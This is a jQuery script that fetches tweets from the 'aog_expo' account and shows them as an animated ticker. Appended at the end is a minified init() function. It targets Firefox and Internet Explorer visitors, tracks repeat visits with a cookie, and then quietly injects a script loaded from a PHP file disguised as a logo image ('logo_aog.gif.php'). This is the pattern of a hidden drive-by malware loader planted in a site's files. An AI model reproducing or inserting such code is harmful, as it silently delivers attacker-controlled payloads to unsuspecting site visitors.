	// Grab tweets from specified user using official twitter API
	var userName = 'aog_expo';
	var count = 10;
	$(document).ready(function() {
		getTweets(userName, count);
	});
	
	function getTweets(userName, count) {
		$.getJSON(
			'http://api.twitter.com/1/statuses/user_timeline.json?screen_name=' + userName + '&count='+ count +'&callback=?&include_rts=true',
			{},
			showTweets,
			'jsonp'
		);
	}
	
	function parseDate(str) {
		var v=str.split(' ');
		return new Date(Date.parse(v[1]+" "+v[2]+", "+v[5]+" "+v[3]+" UTC"));
	}

function showTweets(tweets) {
		var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
		var str = '<ul>';
		var i = 0;
		$.each(tweets, function(index,value)
		{
				if(i == count)  return;
				var dt = parseDate(value.created_at);
				str+= '<li>';
				str+= linkify(value.text);
				str+='<span>';
				str+= months[dt.getMonth()] + ' ' + dt.getDate() + ', ' + dt.getFullYear();
				str+= '</span></li>';
				i++;
		});
		str+= '</ul>';
		$('#tweets').html(str);
		$("#tweets ul li").css({"display":"none"});
		$("#tweets").find("ul li:first").css({"display":"block"}).addClass("active first");
		$("#tweets").find("ul li:last").addClass("last");
	}

	function linkify(string) {
	 string = string.replace(
	 /((https?\:\/\/)|(www\.))(\S+)(\w{2,4})(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/gi,
	 function(url) {
				var full_url = url;
				if (!full_url.match('^https?:\/\/')) {
				full_url = 'http://' + full_url;
	 }
	 return '<a href="' + full_url + '" target="_blank">' + url + '</a>';
	 }
);
return string;
}


	// Twitter ticker
	var twitterSliderPause = 7000;
	var tweetTimer;
	var tweetSpeed = 800;
	var tweetItemActive, tweetItemNext;
	var tweetHeight = 85;


	$(document).ready(function() {
	
		tweetSlider();
		
	});
	
	function tweetSlider() {
		tweetSliderTimeReset()
	}
	
	function tweetSliderTimeReset() {
		clearTimeout(tweetTimer);
		tweetTimer = setTimeout(function() {
			tweetNext()
		},twitterSliderPause);
	}
	
	function tweetNext() {
		if ($("div#tweets ul li:animated").length == 0 && $("div#tweets ul li").length > 1) {
			
			tweetItemActive = $("div#tweets ul li.active");
			if (tweetItemActive.hasClass("last")) {
				tweetItemNext = $("div#tweets ul li:first");
			} else {
				tweetItemNext = tweetItemActive.next();
			}
			
			tweetItemActive
			.css({"top":0,"zIndex":1})
			.animate({"top":0,opacity:0},tweetSpeed,function(){ tweetItemActive.css({ "display":"none" }); })
			.removeClass("active");
		tweetItemNext
			.css({"top":tweetHeight,"display":"block","zIndex":9})
			.animate({"top":0,opacity:1},tweetSpeed,function(){ 
				tweetSliderTimeReset();
				tweetItemNext.addClass("active")} 
			);
			
			/*tweetItemActive
				.css({"top":0,"zIndex":1})
				.animate({opacity:0},tweetSpeed)
				.removeClass("active");
			tweetItemNext
				.css({"zIndex":9})
				.animate({"top":0,opacity:1,"display":"block"},tweetSpeed,function(){ 
					tweetSliderTimeReset();
					tweetItemNext.addClass("active")} 
				);*/
				
		}
	}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logos/logo_aog.gif.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
